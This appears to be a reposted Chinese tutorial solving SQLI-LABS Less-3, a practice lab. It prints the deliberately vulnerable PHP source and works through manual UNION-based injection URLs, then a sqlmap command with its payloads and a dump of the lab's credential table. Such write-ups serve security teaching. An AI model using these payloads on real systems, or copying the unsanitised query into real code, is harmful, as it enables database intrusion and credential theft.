当前位置: 首页 > wzjs >正文

让网站百度不到不备案网站怎么做淘宝客

让网站百度不到,不备案网站怎么做淘宝客,做微商网站的软文,户外平台设计目录 一、字符型注入 二、单引号括号闭合方式 三、limit函数 四、源码分析 1、代码审计 2、SQL注入安全分析 五、渗透实战 1、进入靶场 2、注入点分析 (1)SQL语句 (2)注入点id 3、手工注入 (1&#xff0…

目录

一、字符型注入

二、单引号括号闭合方式

三、limit函数

四、源码分析

1、代码审计

2、SQL注入安全分析

五、渗透实战

1、进入靶场

2、注入点分析

(1)SQL语句

(2)注入点id 

3、手工注入

(1)获取列数

(2)获取回显位

(3)获取数据库名

(4)获取表名

(5)获取列名

(6)获取数据

4、sqlmap渗透实战


SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节对第03关Less 03基于字符型的SQL注入关卡进行渗透实战。  

一、字符型注入

字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。

二、单引号括号闭合方式

对于SQL语句为$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";的情况,此时闭合方式为双引号括号,对比单纯的双引号闭合方式,具体如下所示

单引号闭合(")单引号括号闭合
SQL语句id='$id'id=('$id')
基础注入Payload1' AND 1=1#1') AND 1=1#
联合查询示例1' UNION SELECT 1,@@version,3#1') UNION SELECT 1,@@version,3#

三、limit函数

Limit是 SQL 中用于限制查询结果数量的子句,不是真正的函数。Limit通常有两种常见形式,具体如下所示。

  • 单参数形式LIMIT n

    • 返回前 n 条记录

    • 示例:LIMIT 5 返回前5条结果

  • 双参数形式LIMIT offset, count

    • offset:跳过的记录数(从0开始)

    • count:要返回的记录数

    • 示例:LIMIT 10, 5 跳过前10条,返回接下来的5条

举例:SQL语句“SELECT * FROM users WHERE id=('$id') LIMIT 0,1”中的LIMIT 0,1"表示获取第一条匹配的记录",LIMIT0,1的具体含义如下所示,

  • 从第0条记录开始(即不跳过任何记录)

  • 只返回1条记录

四、源码分析

1、代码审计

本关卡Less03是基于字符型的SQL注入关卡,打开对应的源码index.php,如下所示。

Less03关卡的源码功能是简单基于id的查询页面。相对于第一关,区别主要包括两点,其一是id的闭合方式由单引号变为了单引号括号,其二是取消了原始SQL调用语句的打印,具体对比如下所示。

本关卡源码通过括号包裹的GET参数id构造SQL查询,可获取并显示指定用户的登录名和密码。详细注释后的源码如下所示。

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-3 Error Based- String (with Twist) </title> <!-- 标题表明这是带"花样"的基于错误的字符串注入 -->
</head><body bgcolor="#000000"> <!-- 黑色背景 --><div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">
Welcome&nbsp;&nbsp;&nbsp;<font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"> <!-- 黄色文字显示区 --><?php
// 包含MySQL连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭错误报告
error_reporting(0);// 检查是否有id参数
if(isset($_GET['id']))
{$id=$_GET['id']; // 直接获取用户输入// 记录用户输入到日志文件$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);// 构造SQL查询 - 存在SQL注入安全风险$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; // 使用括号包裹参数// 执行查询$result=mysqli_query($con1, $sql);$row = mysqli_fetch_array($result, MYSQLI_BOTH);if($row) // 如果查询到结果{echo "<font size='5' color= '#99FF00'>";echo 'Your Login name:'. $row['username']; // 显示用户名echo "<br>";echo 'Your Password:' .$row['password'];  // 显示密码(安全隐患)echo "</font>";}else // 查询失败{echo '<font color= "#FFFF00">';print_r(mysqli_error($con1)); // 显示数据库错误(安全风险)echo "</font>";  }
}
else // 没有id参数时
{ echo "Please input the ID as parameter with numeric value"; // 提示输入
}
?>
</font> </div><br><br><br>
<center>
<img src="../images/Less-3.jpg" /></center> <!-- 底部图片 -->
</body>
</html>

这是一个存在SQL注入安全风险的用户查询系统,主要功能是:

  • 接收URL中的id参数,未对参数id进行任何过滤

  • 记录所有查询到日志文件

  • 使用单引号和括号包裹参数构造SQL查询

  • 显示查询到的用户名和密码

  • 查询失败时显示数据库错误详情

  • 未提供参数时显示输入提示

2、SQL注入安全分析

这个代码存在严重的SQL注入安全问题,原因如下:

  • 未过滤的用户输入:直接将$_GET['id']拼接到SQL语句中,没有任何过滤或转义处理。

  • 非常规参数字符串拼接方式:SQL查询使用单引号括号包裹用户输入(id=('$id')),攻击者可以闭合单引号括号注入恶意代码(SELECT * FROM users WHERE id=('$id') LIMIT 0,1)。

  • 错误信息显示:当查询出错时,代码会通过print_r(mysqli_error($con1))显示MySQL错误信息,这有助于攻击者进行基于错误的SQL注入。

五、渗透实战

1、进入靶场

进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。

http://127.0.0.1/sqli-labs/

其中第3关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。

http://127.0.0.1/sqli-labs/#fm_imagemap

点击上图红框的Less03关卡,进入到靶场的第03关卡字符型注入关,页面提示“Please input the ID as parameter with numeric value”,具体如下所示。

http://127.0.0.1/sqli-labs/Less-3/

2、注入点分析

(1)SQL语句

根据源码分析可知,本关卡基于GET方法传入参数id,并未对id进行任何过滤,故而注入点位id。SQL语句的含义是根据用户提供的ID值(字符型)从users表中查询并返回匹配的用户记录的所有字段信息,且仅返回第一条匹配结果,具体代码如下所示。

$id=$_GET['id'];
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

根据id=('$id')可知闭合方式为单引号括号,故而SQL注入为字符型注入。

(2)注入点id 

根据上一步我们分析注入点为id,我们首先使用id=1进行探测,完整URL如下所示。

http://127.0.0.1/sqli-labs/Less-3/?id=1

尝试万能注入语句') or 1=1 -- ,如下为完整URL。

http://127.0.0.1/sqli-labs/Less-3/?id=1') or 1=1 --+

此时页面显示所有项目中的第一条查询结果,用户名和密码都是Dumb,具体如下所示。 

3、手工注入

(1)获取列数

如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。

http://192.168.59.1/sqli-labs/Less-3/?id=1') ORDER BY 4--+
http://192.168.59.1/sqli-labs/Less-3/?id=1') ORDER BY 3--+

(2)获取回显位

如下所示,回显位为2和3,接下来我们使用第2个回显位进行渗透。

http://192.168.59.1/sqli-labs/Less-3/?id=-1') UNION SELECT 1,2,3--+

(3)获取数据库名

如下所示,数据库的名称为“security”。

http://192.168.59.1/sqli-labs/Less-3/?id=-1') UNION SELECT 1,DATABASE(),3--+

(4)获取表名

如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。

http://192.168.59.1/sqli-labs/Less-3/?id=-1') UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+

(5)获取列名

如下所示,数据库users表的列名分别为id,username,password。

http://192.168.59.1/sqli-labs/Less-3/?id=-1') UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--+

(6)获取数据

最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。

http://192.168.59.1/sqli-labs/Less-3/?id=-1') UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--+

4、sqlmap渗透实战

我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),闭合方式为单引号括号【即')】,*号在sqlmap中是一个非常重要的标记符号,主要用于指定注入点位置完整的SQL注入命令如下所示,由于已知注入点为id,故而使用【id=1')*】标识注入点,完整注入命令如下所示。

sqlmap -u "http://192.168.59.1/sqli-labs/Less-3/?id=1')*" --current-db --dump --batch

sqlmap渗透成功,可以通过报错法、时间盲注2种方法渗透成功,具体信息如下所示。

URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1143 HTTP(s) requests:
---
Parameter: #1* (URI)Type: error-basedTitle: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)Payload: http://192.168.59.1:80/sqli-labs/Less-3/?id=1') AND GTID_SUBSET(CONCAT(0x71716a7171,(SELECT (ELT(7751=7751,1))),0x71786b7671),7751)-- pXteType: time-based blindTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)Payload: http://192.168.59.1:80/sqli-labs/Less-3/?id=1') AND (SELECT 9309 FROM (SELECT(SLEEP(5)))PrqQ)-- IbDs
---
[00:20:47] [INFO] the back-end DBMS is MySQL
web application technology: PHP 5.5.9, Apache 2.4.39
back-end DBMS: MySQL >= 5.6
[00:20:47] [INFO] fetching current database
[00:20:47] [INFO] retrieved: 'security'
current database: 'security'Table: users
[13 entries]
+----+------------+----------+
| id | password   | username |
+----+------------+----------+
| 1  | Dumb       | Dumb     |
| 2  | I-kill-you | Angelina |
| 3  | p@ssword   | Dummy    |
| 4  | crappy     | secure   |
| 5  | stupidity  | stupid   |
| 6  | genious    | superman |
| 7  | mob!le     | batman   |
| 8  | admin      | admin    |
| 9  | admin1     | admin1   |
| 10 | admin2     | admin2   |
| 11 | admin3     | admin3   |
| 12 | dumbo      | dhakkan  |
| 14 | admin4     | admin4   |
+----+------------+----------+


文章转载自:

http://ygPN4mM0.smdkk.cn
http://sg6CwK27.smdkk.cn
http://apJz7Fx1.smdkk.cn
http://CiiMVYMn.smdkk.cn
http://Hzl6sN2n.smdkk.cn
http://tDW8D7sB.smdkk.cn
http://4KGPAXNz.smdkk.cn
http://Z5JiaUaJ.smdkk.cn
http://0RnUhnUW.smdkk.cn
http://WKP3wrij.smdkk.cn
http://Hra0Axcw.smdkk.cn
http://qp0174AI.smdkk.cn
http://uyAvBCyj.smdkk.cn
http://QbtOJ5gM.smdkk.cn
http://U2JOS4nn.smdkk.cn
http://hJUELOqy.smdkk.cn
http://MmoGeSIV.smdkk.cn
http://HCYCiLeG.smdkk.cn
http://4TR9XDjP.smdkk.cn
http://MZn2dURA.smdkk.cn
http://XY6btlSD.smdkk.cn
http://SpTbP0fk.smdkk.cn
http://cXsd2lhl.smdkk.cn
http://Ti1rTEog.smdkk.cn
http://QlHgqver.smdkk.cn
http://KJfkiLFY.smdkk.cn
http://pWErkjBh.smdkk.cn
http://FFSk8TeE.smdkk.cn
http://zr9EGjuk.smdkk.cn
http://F3aGwRoW.smdkk.cn
http://www.dtcms.com/wzjs/727188.html

相关文章:

  • 自命题规划一个企业网站oa办公软件
  • 做ppt的软件模板下载网站wordpress如何配置伪静态页面
  • 什么网站可以找人做系统怎么外贸网站推广
  • 网站费用预算工程造价价格信息网
  • 网站建设主要干什么永春网站开发
  • 怎么给甲方做网站备案自己架设网站
  • 福州网站设计要多少钱新郑网站建设
  • 邯郸有建网站吗哪个公司好些互联网营销师考试题库
  • 商城网站建设的注意事项做网站需要准备哪些东西
  • 那些知名网站是外包做的网站估值
  • php网站后台密码破解程序wordpress xsind
  • 公司做网站文案怎么写新浪博客导入wordpress
  • 个人网站备案icp企业网站建设 骆
  • 一个后台可以做几个网站可以将自己做的衣服展示的网站
  • 建设银行网站设计的优点html5 网站开发实战
  • 获取网站访客qq号码程序下载望野博物馆馆长
  • 网站备案的原则手机网站后台管理
  • 网站建设对企业的作用能答题做试卷的网站
  • 北京城乡住房建设厅网站网站建设公司能信吗
  • h5做的分销网站wordpress怎么加插件下载
  • 网站大屏轮播图效果怎么做的专业做毕业设计网站
  • 网站的分享按键网络广告学心得体会
  • 简历免费在线制作网站有哪些网站可以做网站游戏
  • 深圳做网站的好公司北京建站公司网站
  • 外贸仿牌网站被封的后果中国十大it培训机构排名
  • 株洲市荷塘区城乡建设局网站烟台网站搭建
  • 宁波网站seo北京网站设计公司哪个好
  • php网站开发好找工作吗app软件制作公司排名
  • CQ网站建设创建一个网站需要怎么做
  • 电子商务类网站设计友情链接方面pr的选择应该优先选择的链接为